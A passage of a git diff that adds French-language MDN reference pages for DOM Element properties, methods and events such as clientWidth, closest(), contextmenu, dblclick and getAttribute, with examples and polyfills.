+translation_of: Web/API/Element/clientWidth
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>La propriété <code><strong>Element.clientWidth</strong></code> vaut zéro pour les éléments en ligne (<em>inline</em>) et pour les éléments sans CSS. Dans les autres cas, sa valeur correspond à la largeur intérieure d'un élément, exprimée en pixel. Cette largeur inclue le rembourrage (<em>padding</em>) mais exclut les bordures, les marges et les éventuelles barres de défilement verticales.</p>
+
+<p>Lorsque <code>clientWidth</code> est utilisée sur l'élément racine (l'élément <code>&lt;html&gt;</code> par défaut ou <code>&lt;body&gt;</code> si le document utilise le mode <em>quirks</em>), c'est la largeur de la zone d'affichage (<em>viewport</em>) à l'exception des barres de défilement qui est renvoyée. <a href="https://www.w3.org/TR/2016/WD-cssom-view-1-20160317/#dom-element-clientwidth">Il s'agit d'un cas au limite pour <code>clientWidth</code></a>.</p>
+
+<div class="note">
+<p><strong>Note :</strong> La valeur de cette propriété sera arondie en un entier. Si vous devez utiliser une valeur décimale, privilégiez {{domxref("element.getBoundingClientRect()")}}.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate">var <var>intElemClientWidth</var> = <var>element</var>.clientWidth;</pre>
+
+<p><code><var>intElemClientWidth</var></code> est un entier correspondant à la largeur d'<code><var>element</var></code>, en pixels. La propriété <code>clientWidth</code> est uniquement accessible en lecture-seule.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p><img alt="Image:Dimensions-client.png" class="internal" src="/@api/deki/files/185/=Dimensions-client.png"></p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSSOM View', '#dom-element-clientwidth', 'clientWidth')}}</td>
+   <td>{{Spec2("CSSOM View")}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Notes">Notes</h3>
+
+<p><code>clientWidth</code> fut d'abord introduit avec le modèle objet DHTML de Microsoft Internet Explorer.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.Element.clientWidth")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("HTMLElement.offsetWidth")}}</li>
+ <li>{{domxref("Element.scrollWidth")}}</li>
+ <li><a href="/fr/docs/Web/API/CSS_Object_Model/Determining_the_dimensions_of_elements">Déterminer les dimensions des éléments</a></li>
+</ul>
diff --git a/files/fr/web/api/element/closest/index.html b/files/fr/web/api/element/closest/index.html
new file mode 100644
index 0000000000..7159cfcd51
--- /dev/null
+++ b/files/fr/web/api/element/closest/index.html
@@ -0,0 +1,148 @@
+---
+title: Element.closest()
+slug: Web/API/Element/closest
+tags:
+  - API
+  - DOM
+  - Element
+  - Méthodes
+translation_of: Web/API/Element/closest
+---
+<p>{{APIRef('Shadow DOM')}}</p>
+
+<p>La méthode <code><strong>Element.closest()</strong></code> renvoie l'ancêtre le plus proche de l'élément courant (ou l'élément courant) qui correspond aux sélecteurs passés comme paramètres. S'il n'existe pas de tel ancêtre, la méthode renvoie <code>null</code>.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">var <em>elt =</em><em> element</em>.closest(<em>selecteurs</em>);
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>selecteurs</code></dt>
+ <dd>Une chaîne {{domxref("DOMString")}} qui contient une liste de sélecteurs tels que <code>"p:hover, .toto + q"</code></dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>L'élément ({{domxref("Element")}}) qui est le plus proche ancêtre de l'élément courant et qui correspond aux sélecteurs décrits dans le paramètres ou {{jsxref("null")}} s'il n'y en a aucun.</p>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<ul>
+ <li>{{exception("SyntaxError")}} sera levée si <code>selecteurs</code> n'est pas une liste de sélecteurs valide.</li>
+</ul>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;article&gt;
+  &lt;div id="div-01"&gt;Here is div-01
+    &lt;div id="div-02"&gt;Here is div-02
+      &lt;div id="div-03"&gt;Here is div-03&lt;/div&gt;
+    &lt;/div&gt;
+  &lt;/div&gt;
+&lt;/article&gt;</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js">var el = document.getElementById('div-03');
+
+var r1 = el.closest("#div-02");
+// Renvoie l'élément avec l'identifiant id=div-02
+
+var r2 = el.closest("div div");
+// Renvoie le plus proche ancêtre qui est un div
+// dans un div. Ici, c'est div-03 lui-même.
+
+var r3 = el.closest("article &gt; div");
+// Renvoie le plus proche ancêtre qui est un div
+// et dont l'élément parent est article. Ici c'est
+// div-01.
+
+var r4 = el.closest(":not(div)");
+// Renvoie le plus proche ancêtre qui n'est pas un
+// div. Dans ce cas, c'est l'élément article.</pre>
+
+<h2 id="Polyfill" name="Polyfill">Polyfill</h2>
+
+<p>Pour les navigateurs qui ne prennent pas en charge <code>Element.closest()</code> mais qui permettent d'utiliser <code>element.matches()</code> (ou un équivalent préfixé, à partir d'IE9+), on peut utiliser le polyfill suivant :</p>
+
+<pre class="brush: js">if (!Element.prototype.matches)
+    Element.prototype.matches = Element.prototype.msMatchesSelector ||
+                                Element.prototype.webkitMatchesSelector;
+
+if (!Element.prototype.closest)
+    Element.prototype.closest = function(s) {
+        var el = this;
+        if (!document.documentElement.contains(el)) return null;
+        do {
+            if (el.matches(s)) return el;
+            el = el.parentElement || el.parentNode;
+        } while (el !== null &amp;&amp; el.nodeType == 1);
+        return null;
+    };</pre>
+
+<p>Cependant, si vous avez besoin de supporter IE 8, vous pouvez utiliser la prothèse suivante qui marchera, mais beaucoup plus lentement. Elle ne supporte que les sélecteurs CSS 2.1 dans IE 8, et peut causer de gros pics de latence dans les sites web :</p>
+
+<pre class="brush: js">if (window.Element &amp;&amp; !Element.prototype.closest) {
+  Element.prototype.closest =
+  function(s) {
+    var matches = (this.document || this.ownerDocument).querySelectorAll(s),
+        i,
+        el = this;
+    do {
+      i = matches.length;
+      while (--i &gt;= 0 &amp;&amp; matches.item(i) !== el) {};
+    } while ((i &lt; 0) &amp;&amp; (el = el.parentElement));
+    return el;
+  };
+}
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-element-closest', 'Element.closest()')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">
+<p>La table de compatibilité sur cette page est générée à partir de données structurées. Si vous souhaitez contribuer à ces données, veuillez récupérer le répository <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et faire une pull request.</p>
+</div>
+
+<p>{{Compat("api.Element.closest")}}</p>
+
+
+
+<h3 id="Notes_de_compatibilité">Notes de compatibilité</h3>
+
+<ul>
+ <li>Dans Edge <code>document.createElement(tagName).closest(tagName)</code> retournera <code>null</code> si l'élément n'est pas attaché au DOM au préalable.</li>
+</ul>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'interface {{domxref("Element")}}</li>
+ <li>
+  <div class="syntaxbox"><a href="/fr/Apprendre/CSS/Les_bases/Les_sélecteurs">La syntaxe pour les sélecteurs</a></div>
+ </li>
+ <li>
+  <div class="syntaxbox">Autres méthodes utilisant des sélecteurs: {{domxref("element.querySelector()")}} et {{domxref("element.matches()")}}.</div>
+ </li>
+</ul>
diff --git a/files/fr/web/api/element/contextmenu_event/index.html b/files/fr/web/api/element/contextmenu_event/index.html
new file mode 100644
index 0000000000..dc47f428bb
--- /dev/null
+++ b/files/fr/web/api/element/contextmenu_event/index.html
@@ -0,0 +1,102 @@
+---
+title: 'Element : évènement contextmenu'
+slug: Web/API/Element/contextmenu_event
+tags:
+  - API
+  - DOM
+  - Element
+  - Event
+  - Reference
+  - contextemenu
+translation_of: Web/API/Element/contextmenu_event
+---
+<div>{{APIRef}}</div>
+
+<p><span class="seoSummary">L'évènement <strong><code>contextmenu</code></strong> est délenché à partir d'un élément lorsque l'utilisateur tente d'ouvrir un menu contextuel. Cet évènement est généralement déclenché par un clic-droit ou en utilisant la touche du menu contextuel.</span> Dans ce cas, le menu contextuel est affiché dans le coin inférieur gauche de l'élément qui a le focus sauf si l'élément est un arbre, auquel cas le menu est affiché en bas à gauche de la ligne courante.</p>
+
+<p>Tout évènement de clic-droit qui n'est pas désactivé (via {{domxref("Event.preventDefault", "preventDefault()")}}) entraînera le déclenchement d'un évènement <code>contextmenu</code> sur l'élément cible.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th>Se propage/remonte dans le DOM</th>
+   <td>Oui</td>
+  </tr>
+  <tr>
+   <th>Annulable</th>
+   <td>Oui</td>
+  </tr>
+  <tr>
+   <th>Interface</th>
+   <td>{{DOMxRef("MouseEvent")}}</td>
+  </tr>
+  <tr>
+   <th>Propriété pour la gestion d'évènement</th>
+   <td>{{domxref("GlobalEventHandlers.oncontextmenu", "oncontextmenu")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans cet exemple, on annule l'action par défaut de l'évènement <code>contextmenu</code> avec <code>preventDefault()</code> lorsque l'évènement est déclenché depuis le premier paragraphe. Ainsi, rien ne se produira lorsqu'on utilisera un clic-droit sur le premier paragraphe tandis que le menu contextuel habituel s'affichera bien pour le second paragraphe.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p id="noContextMenu"&gt;Le menu contextuel a été désactivé sur ce paragraphe.&lt;/p&gt;
+&lt;p&gt;Mais pas sur celui-ci.&lt;/p&gt;</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js">noContext = document.getElementById('noContextMenu');
+
+noContext.addEventListener('contextmenu', e =&gt; {
+  e.preventDefault();
+});
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('HTML WHATWG', 'indices.html#event-contextmenu', 'contextmenu')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{Compat("api.Element.contextmenu_event")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Apprendre/JavaScript/Building_blocks/Evènements">Une introduction aux évènements</a></li>
+ <li>D'autres évènements connexes
+  <ul>
+   <li><a href="/fr/docs/Web/API/Element/mousedown_event"><code>mousedown</code></a></li>
+   <li><a href="/fr/docs/Web/API/Element/mouseup_event"><code>mouseup</code></a></li>
+   <li><a href="/fr/docs/Web/API/Element/mousemove_event"><code>mousemove</code></a></li>
+   <li><a href="/fr/docs/Web/API/Element/mouseover_event"><code>mouseover</code></a></li>
+   <li><a href="/fr/docs/Web/API/Element/click_event"><code>click</code></a></li>
+   <li><a href="/fr/docs/Web/API/Element/dblclick_event"><code>dblclick</code></a></li>
+   <li><a href="/fr/docs/Web/API/Element/mouseout_event"><code>mouseout</code></a></li>
+   <li><a href="/fr/docs/Web/API/Element/mouseenter_event"><code>mouseenter</code></a></li>
+   <li><a href="/fr/docs/Web/API/Element/mouseleave_event"><code>mouseleave</code></a></li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/fr/web/api/element/currentstyle/index.html b/files/fr/web/api/element/currentstyle/index.html
new file mode 100644
index 0000000000..09a7425ce9
--- /dev/null
+++ b/files/fr/web/api/element/currentstyle/index.html
@@ -0,0 +1,76 @@
+---
+title: Element.currentStyle
+slug: Web/API/Element/currentStyle
+translation_of: Web/API/Element/currentStyle
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>{{ Non-standard_header() }}</p>
+
+<h2 id="Summary">Summary</h2>
+
+<p><strong><code>Element.currentStyle</code></strong> is a property which is a proprietary similar to the standardized {{domxref("window.getComputedStyle")}} method. It is available in old versions of Microsoft Internet Explorer. However, it returns the units set in CSS while window.getComputedStyle returns the values in pixels.</p>
+
+<h2 id="Specification">Specification</h2>
+
+<p>Ne fait partie d'aucune spécification.</p>
+
+<p>Microsoft <a href="https://msdn.microsoft.com/en-us/library/ms535231(v=vs.85).aspx">a une description MSDN</a>.</p>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">Compatibilité des navigateurs</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Microsoft Edge</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>6</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("Element.runtimeStyle")}}</li>
+</ul>
diff --git a/files/fr/web/api/element/dblclick_event/index.html b/files/fr/web/api/element/dblclick_event/index.html
new file mode 100644
index 0000000000..431a961e5f
--- /dev/null
+++ b/files/fr/web/api/element/dblclick_event/index.html
@@ -0,0 +1,119 @@
+---
+title: 'Element : évènement dblclick'
+slug: Web/API/Element/dblclick_event
+tags:
+  - API
+  - DOM
+  - Event
+  - Interface
+  - Reference
+  - dblclick
+translation_of: Web/API/Element/dblclick_event
+---
+<div>{{APIRef}}</div>
+
+<p><span class="seoSummary">L'évènement <strong><code>dblclick</code></strong> se déclenche à partir d'un élément lorsqu'un bouton d'un dispositif de pointage est double-cliqué (c'est-à-dire qu'on clique deux fois sur le méme élément dans un temps très court).</span></p>
+
+<p><code>dblclick</code> se déclenche après deux évènements {{domxref("Element/click_event", "click")}} (et, par extension, après deux paires d'évènements {{domxref("Element.mousedown_event", "mousedown")}} et {{domxref("Element.mouseup_event", "mouseup")}}).</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Se propage/remonte dans le DOM</th>
+   <td>Oui</td>
+  </tr>
+  <tr>
+   <th scope="row">Annulable</th>
+   <td>Oui</td>
+  </tr>
+  <tr>
+   <th scope="row">Interface</th>
+   <td>{{domxref("MouseEvent")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Propriété pour la gestion d'évènements</th>
+   <td>{{domxref("GlobalEventHandlers.ondblclick", "ondblclick")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans cet exemple, on modifie la taille d'une tuile lorsqu'on double-clique dessus.</p>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js">const card = document.querySelector('aside');
+
+card.addEventListener('dblclick', function (e) {
+  card.classList.toggle('large');
+});</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;aside&gt;
+  &lt;h3&gt;Une tuile&lt;/h3&gt;
+  &lt;p&gt;Double-cliquer pour redimensionner cet objet.&lt;/p&gt;
+&lt;/aside&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">aside {
+  background: #fe9;
+  border-radius: 1em;
+  display: inline-block;
+  padding: 1em;
+  transform: scale(.9);
+  transform-origin: 0 0;
+  transition: transform .6s;
+}
+
+.large {
+  transform: scale(1.3);
+}</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples", 700, 200)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('UI Events', '#event-type-dblclick', 'dblclick')}}</td>
+   <td>{{Spec2('UI Events')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Events', '#event-type-dblclick', 'dblclick')}}</td>
+   <td>{{Spec2('DOM3 Events')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{Compat("api.Element.dblclick_event")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Apprendre/JavaScript/Building_blocks/Evènements">Une introduction aux évènements</a></li>
+ <li>D'autres évènements connexes
+  <ul>
+   <li><a href="/fr/docs/Web/API/Element/mousedown_event"><code>mousedown</code></a></li>
+   <li><a href="/fr/docs/Web/API/Element/mouseup_event"><code>mouseup</code></a></li>
+   <li><a href="/fr/docs/Web/API/Element/mousemove_event"><code>mousemove</code></a></li>
+   <li><a href="/fr/docs/Web/API/Element/mouseover_event">mouseover</a></li>
+   <li><a href="/fr/docs/Web/API/Element/click_event"><code>click</code></a></li>
+   <li><a href="/fr/docs/Web/API/Element/mouseout_event"><code>mouseout</code></a></li>
+   <li><a href="/fr/docs/Web/API/Element/mouseenter_event"><code>mouseenter</code></a></li>
+   <li><a href="/fr/docs/Web/API/Element/mouseleave_event"><code>mouseleave</code></a></li>
+   <li><a href="/fr/docs/Web/API/Element/contextmenu_event"><code>contextmenu</code></a></li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/fr/web/api/element/getattribute/index.html b/files/fr/web/api/element/getattribute/index.html
new file mode 100644
index 0000000000..5c50b4cd64
--- /dev/null
+++ b/files/fr/web/api/element/getattribute/index.html
@@ -0,0 +1,85 @@
+---
+title: element.getAttribute
+slug: Web/API/Element/getAttribute
+tags:
+  - API
+  - DOM
+  - Element
+  - Method
+  - Méthode
+  - Reference
+translation_of: Web/API/Element/getAttribute
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p><code>getAttribute</code> renvoie la valeur d'un attribut donné de l'élément spécifié. Si l'attribut n'existe pas, la valeur renvoyée sera soit <code>null</code> soit <code>""</code> (une chaine vide) ; voir {{ Anch("Notes") }} pour plus de détails.</p>
+
+<h2 id="Syntaxe" name="Syntaxe">Syntaxe</h2>
+
+<pre class="eval notranslate"><em>let attribut</em> = element.getAttribute(<em>nom_attribut</em>)
+</pre>
+
+<p>où</p>
+
+<ul>
+ <li><code><em>attribut</em></code> est une chaine contenant la valeur de l'attribut <code><em>nom_attribut</em></code>.</li>
+ <li><code><em>nom_attribut</em></code> est le nom de l'attribut dont on désire connaitre la valeur.</li>
+</ul>
+
+<h2 id="Exemple" name="Exemple">Exemple</h2>
+
+<p>Soit l'HTML :</p>
+
+<pre class="notranslate">const div1 = document.getElementById("div1");</pre>
+
+<p>Exemple de JavaScript :</p>
+
+<pre class="eval notranslate">const div1 = document.getElementById("div1");
+//=&gt; &lt;div id="div1"&gt;Hi Champ!&lt;/div&gt;
+
+const attributID = div1.getAttribute("id");
+//=&gt; "div1"
+
+cont alignement = div1.getAttribute("align");
+//=&gt; null
+</pre>
+
+<h2 id="Notes" name="Notes">Description</h2>
+
+<h3 id="Sensibilité_à_la_casse">Sensibilité à la casse</h3>
+
+<p>Le paramètre <code>nom_attribut</code> est généralement sensible à la casse, mais ne l'est pas lorsqu'il est utilisé sur des éléments HTML.</p>
+
+<h3 id="Attributs_inexistants">Attributs inexistants</h3>
+
+<p>À peu près tous les navigateurs (Firefox, Internet Explorer, Opera, Safari, Konqueror et iCab, sans que cette liste soit exhaustive) renvoient <code>null</code> lorsque l'attribut demandé n'existe pas sur l'élément spécifié. La spécification DOM indique cependant que la valeur de retour correcte dans ce cas est en fait la chaine vide <code>""</code>, et certaines implémentation DOM auront ce comportement. Par conséquent, vous devriez utiliser {{domxref("element.hasAttribute()")}} pour vérifier l'existence d'un attribut avant d'appeler <code>getAttribute()</code> s'il est possible que l'attribut n'existe pas sur l'élément spécifié.</p>
+
+<h3 id="Récupération_de_nonces">Récupération de nonces</h3>
+
+<p>Pour des raisons de sécurité, les <em>nonces</em> <a href="/fr/docs/Web/HTTP/CSP">CSP</a> des sources autres que des scripts, telles que les feuilles de style CSS, et les appels <code>.getAttribute("nonce")</code> sont interdits.</p>
+
+<pre class="brush: js example-bad notranslate">let nonce = script.getAttribute("nonce");
+// renvoie une chaine vide</pre>
+
+<p>Plutôt que de tenter de lire le <em>nonce</em> via l’attribut, utilisez la propriété {{domxref("HTMLOrForeignElement/nonce", "nonce")}} :</p>
+
+<pre class="brush: js notranslate">let nonce = script.nonce;</pre>
+
+<h2 id="Sp.C3.A9cification" name="Sp.C3.A9cification">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td><strong>Spécification</strong></td>
+   <td><strong>État</strong></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG','#dom-element-getattribute','getAttribute()')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Sp.C3.A9cification" name="Sp.C3.A9cification">Compatibilité des navigateurs</h2>
+
+<div>{{Compat("api.Element.getAttribute")}}</div>
diff --git a/files/fr/web/api/element/getattributenames/index.html b/files/fr/web/api/element/getattributenames/index.html
new file mode 100644
index 0000000000..8aa41d44ad
--- /dev/null
+++ b/files/fr/web/api/element/getattributenames/index.html
@@ -0,0 +1,116 @@
+---
+title: Element.getAttributeNames()
+slug: Web/API/Element/getAttributeNames
+tags:
+  - API
+  - Attributs
+  - DOM
+  - Element
+  - Méthodes
+translation_of: Web/API/Element/getAttributeNames
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p><code>Element.getAttributeNames()</code> renvoie les noms des attributs de l'élément sous la forme d'un {{jsxref("Array")}} (<em>tableau</em>) de chaînes de caractères. Si l'élément n'a pas d'attributs, il retourne un tableau vide.</p>
+
+<p>L'utilisation de <code>getAttributeNames()</code> complété par {{domxref("Element.getAttribute","getAttribute()")}}, est une alternative efficiente et performante pour l'accès à {{domxref("Element.attributes")}}.</p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>let attributeNames</em> = element.getAttributeNames();
+</pre>
+
+<h2 id="Example" name="Example">Exemple</h2>
+
+<pre class="brush:js">// Itérer sur les attributs de l'élément
+for(let name of element.getAttributeNames())
+{
+	let value = element.getAttribute(name);
+	console.log(name, value);
+}
+</pre>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<pre class="line-numbers  language-html"><code class="language-html">if (Element.prototype.getAttributeNames == undefined) {
+  Element.prototype.getAttributeNames = function () {
+    var attributes = this.attributes;
+    var length = attributes.length;
+    var result = new Array(length);
+    for (var i = 0; i &lt; length; i++) {
+      result[i] = attributes[i].name;
+    }
+    return result;
+  };
+}</code></pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM WHATWG", "#dom-element-getattributenames", "Element.getAttributeNames")}}</td>
+   <td>{{Spec2("DOM WHATWG")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(61)}}</td>
+   <td>{{CompatGeckoDesktop(45)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatOpera(48)}}</td>
+   <td>{{CompatSafari(9)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android Webview</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(61)}}</td>
+   <td>{{CompatChrome(61)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatOperaMobile(48)}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/fr/web/api/element/getattributenode/index.html b/files/fr/web/api/element/getattributenode/index.html
new file mode 100644
index 0000000000..efe33f1fa1
--- /dev/null
+++ b/files/fr/web/api/element/getattributenode/index.html
@@ -0,0 +1,53 @@
+---
+title: element.getAttributeNode
+slug: Web/API/Element/getAttributeNode
+tags:
+  - API
+  - Attributs
+  - DOM
+  - Element
+  - Méthodes
+  - Noeud
+translation_of: Web/API/Element/getAttributeNode
+---
+<p>{{ APIRef("DOM") }}</p>
+
+<h2 id="R.C3.A9sum.C3.A9" name="R.C3.A9sum.C3.A9">Résumé</h2>
+
+<p>Renvoie le nœud d'attribut spécifié pour l'élément courant, en tant que noeud <code>Attr</code>.</p>
+
+<h2 id="Syntaxe" name="Syntaxe">Syntaxe</h2>
+
+<pre class="eval line-numbers  language-html"><code class="language-html">var attrNode = element.getAttributeNode(attrName);</code></pre>
+
+<ul>
+ <li><code>attrNode</code> est un nœud <code>Attr</code> pour l'attribut demandé.</li>
+ <li><code>attrName</code> est une chaîne de caractères qui contient le nom de l'attribut.</li>
+</ul>
+
+<h2 id="Exemple" name="Exemple">Exemple</h2>
+
+<pre>// html: &lt;div id="top" /&gt;
+var t = document.getElementById("top");
+var idAttr = t.getAttributeNode("id");
+alert(idAttr.value == "top")
+</pre>
+
+<h2 id="Notes" name="Notes">Notes</h2>
+
+<p>Lorsqu'elle est appelée sur un élément HTML dans un DOM marqué comme un document HTML, <code>getAttributeNode</code> passe en minuscules son argument avant de continuer.</p>
+
+<p>Les nœuds <code>Attr</code> héritent de <code>Node</code>, mais ne sont pas considérés comme faisant partie de l'arbre du document. Les attributs habituels des nœuds comme <a href="fr/DOM/element.parentNode">parentNode</a>, <a href="fr/DOM/element.previousSibling">previousSibling</a>, et <a href="fr/DOM/element.nextSibling">nextSibling</a> sont <code>null</code> pour un nœud <code>Attr</code>. Vous pouvez cependant accéder à l'élément auquel cet attribut appartient grâce à la propriété <code>ownerElement</code>.</p>
+
+<p><a href="fr/DOM/element.getAttribute">getAttribute</a> est habituellement utilisé à la place de <code>getAttributeNode</code> pour obtenir la valeur d'un attribut d'un élément.</p>
+
+<p>{{ DOMAttributeMethods() }}</p>
+
+<h2 id="Sp.C3.A9cification" name="Sp.C3.A9cification">Spécification</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-217A91B8">DOM Level 2 Core : getAttributeNode</a> — <small><a class="external" href="http://www.yoyodesign.org/doc/w3c/dom2-core/core.html#ID-217A91B8">traduction en français</a> (non normative)</small></li>
+ <li><a class="external external-icon" href="http://www.whatwg.org/specs/web-apps/current-work/multipage/dom.html#apis-in-html-documents">HTML 5: APIs in HTML documents</a></li>
+</ul>
+
+<div class="noinclude"> </div>
diff --git a/files/fr/web/api/element/getattributenodens/index.html b/files/fr/web/api/element/getattributenodens/index.html
new file mode 100644
index 0000000000..f7d11eaaee
--- /dev/null
+++ b/files/fr/web/api/element/getattributenodens/index.html
@@ -0,0 +1,44 @@
+---
+title: element.getAttributeNodeNS
+slug: Web/API/Element/getAttributeNodeNS
+translation_of: Web/API/Element/getAttributeNodeNS
+---
+<p>{{ ApiRef() }}</p>
+
+<h3 id="R.C3.A9sum.C3.A9" name="R.C3.A9sum.C3.A9">Résumé</h3>
+
+<p>Renvoie le nœud <code>Attr</code> pour l'attribut avec l'espace de noms et le nom donnés.</p>
+
+<h3 id="Syntaxe" name="Syntaxe">Syntaxe</h3>
+
+<pre class="eval"><em>attributeNode</em> = element.getAttributeNodeNS(<em>namespace</em>,<em>nodeName</em>)
